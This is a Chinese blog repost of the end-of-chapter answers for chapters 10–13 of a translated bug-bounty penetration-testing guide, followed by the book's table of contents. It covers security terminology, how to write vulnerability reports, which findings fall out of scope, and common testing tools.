WordPress 被互联网上大量网站使用，因此成为黑客攻击的丰富目标。此外，作为动态类型语言的 PHP 也有其自身的弱点。
wpscan CLI 允许更好地与现有的自动化套件集成，但 Burp 扩展更好地支持被动扫描功能。
在探测漏洞时，始终牢记 Rails 的意见结构和会话认证的历史性弱点。
Docker 提供了一个简单的容器化结构，用于封装工具可能需要的任何依赖集，使其更加便携和可扩展。
OVAL 代表开放漏洞评估语言，是一系列用于标准化、机器可读的已知漏洞测试定义。
将 Django 的 DEBUG 模式保持开启是一个常见问题，可能为攻击情景提供潜在路径。此外，还应注意与 Django 默认管理页面相关的任何暴露的管理员功能。

第十章

RCE 代表远程代码执行。
链接到 OWASP 或其他受尊敬的安全组织关于特定漏洞种类的页面，可以帮助所有参与漏洞验证的人达成共识。
每个漏洞报告提交必须至少包含漏洞类型、描述、时间戳、攻击场景和重现步骤。
VRT 是 Bugcrowd 创建的一套标准，旨在促进研究人员、开发人员和其他安全利益相关者对漏洞严重性有一个共同的理解。CVSS 是一个类似且兼容的系统。
如果内部团队无法重现你的问题，他们无法确定其严重性和影响。
写得好的攻击场景是具体的、技术知情的、有文档支持的并且是现实的。它们传达了情况的严重性，而不会过度扩展。
HackerOne 的 Hacktivity 部分和 Vulnerability Lab 的主页等是记录生产漏洞的优秀资源。
截图、纯文本文件和其他支持文档在漏洞报告中都非常重要。

第十一章

在考虑采用任何工具时，问自己一系列问题非常重要，分析它如何融入现有的工作流，它能带来什么价值，它如何独特地为这种价值做出贡献，等等。
Burp Notes、Burp Python Scripter 和 JSON Beautifier（多个美化器中的一个）只是我们覆盖的几个优秀扩展。
nmap 和 Aircrack-ng 都是网络渗透测试的最佳实践工具。
Burp Pro 提供了 Burp 扫描器、自动化 PoC 生成以及其他一些有用的高级手动工具。
Kali Linux 配备了许多研究人员依赖的工具。它还可以从磁盘启动的事实使其成为任何渗透测试实验室的轻量级解决方案。
OSINT 代表开放源代码情报，是指从公开可获得的来源（如社交媒体个人资料和公共记录数据）收集关于目标的信息的过程。
Metasploit 自称为一个漏洞利用框架，旨在检测和生成利用漏洞的代码。作为一个在利用阶段表现出色的工具，我们在本书中对它的涉及较少。

第十二章

DoS/DDoS 攻击需要广泛的预防措施，而且由于恶意流量常常伪装成合法业务流量，因此很难进行缓解。这使得它超出了范围——除非某个特定的漏洞使得服务更容易受到 DoS/DDoS 攻击。
Self-XSS 的影响范围过于有限，并且需要太多步骤，不能算作一个严重漏洞。用户最终是在执行 XSS 时让自己处于风险之中，而并不会对其他人造成实际影响。
OPTIONS 请求可能会暴露调试信息，这些信息可能帮助攻击者，但单独来看，这并不是一个漏洞。
像 BEAST 这样的 SSL 漏洞需要其他多个受影响点才能构成攻击场景。
Clickjacking 是指攻击者将恶意链接隐藏在透明或遮挡的链接下方，并放置在一个合法且安全的按钮之下，使得用户被欺骗点击到黑帽 URL。
物理测试涉及闯入公司的实际办公室或建筑，通过现场设备获取网络访问权限。对于公共漏洞奖励计划，这是完全不在范围之内的。
如果 CSRF 漏洞与匿名表单或其他未授权输入相关，那么攻击场景不足以支持支付奖励。
黑暗模式是旨在欺骗或诈骗用户的用户体验设计。
大多数服务可以通过暴力破解进行攻击，前提是有足够的时间和资源。指出这一点并不构成有用的、可执行的安全建议。

第十三章

SANS Institute、Bugcrowd 博客、Darknet、HighOn.Coffee 等，都是获取最新技术教程和安全新闻的良好来源。
公共漏洞奖励计划不授予研究人员对源代码的特权访问权限，严格来说，它们是黑盒类型的。
RCE（远程代码执行）允许进行一系列令人震惊的攻击。借助图灵完备的脚本语言的全部功能，攻击的破坏力是没有限制的。
这里的“安全港”用来描述一种政策，即公司不会起诉那些遵循特定条款的研究人员。
跨源资源共享（Cross-Origin Resource Sharing，CORS）是一个系统，用于管理来自不同源（主机名、端口等）的资源请求的安全过程。
一个组织的安全态势指的就是它阻止、检测和应对数字威胁的能力。
对应用进行指纹识别可以提供服务器软件和版本信息、应用语言、数据库信息及其他有用的数据点，以帮助制定渗透测试策略。
OSCP 代表进攻性安全认证专业人员，这是由进攻性安全公司提供的专业认证。

posted @ 2025-06-23 19:08 绝不原创的飞龙阅读(105) 评论(0) 收藏举报

刷新页面返回顶部

龙哥盟

掠夺·扩张·投机·博弈

BUG-狩猎渗透测试实用指南-全-

BUG 狩猎渗透测试实用指南（全）

前言

本书的读者群体

本书的内容

为了从本书中获得最大的收获

下载示例代码文件

本书使用的约定

联系我们

评论

第一章：加入猎杀

技术要求

漏洞赏金计划的好处

你应该已经知道的 —— 渗透测试背景

设置您的环境 – 需要了解的工具

您将学到什么 - 下一步

如何（不）使用本书——一个警告

总结

问题

进一步阅读

第二章：选择你的狩猎场

技术要求

漏洞奖励社区概述——从哪里开始你的搜索

第三方市场

Bugcrowd

HackerOne

Vulnerability Lab

BountyFactory

Synack

公司赞助的计划

谷歌

Facebook

亚马逊

GitHub

Microsoft

查找其他程序

金钱奖励与公司赠品奖励

互联网漏洞赏金计划

ZeroDisclo 和协调漏洞披露

Web 应用程序的漏洞 – 你应该瞄准什么目标

评估《交战规则》——如何保护自己

总结

提问

深入阅读

第三章：准备进行渗透测试

技术要求

工具

使用 Burp

攻击面侦察 - 策略和标准化的价值

网站地图

扫描和目标侦察

强制获取网页内容

爬虫与其他数据收集技术

Burp Spider

Striker

Scrapy 和自定义管道

手动操作演练

源代码

构建一个流程

格式化 JS 报告

下载 JavaScript

将一切整合在一起

结构背后的价值

总结

问题

深入阅读

第四章：未经过滤的数据 – 一个 XSS 案例研究

技术要求

快速了解 XSS – XSS 的多种形式

测试 XSS – 哪里可以找到它，如何验证它

Burp Suite 和 XSS Validator

Payload 集合

Payload 选项

Payload 处理

XSS – 一例完整的攻击示范

Google Gruyere 中的 XSS

收集报告信息

类别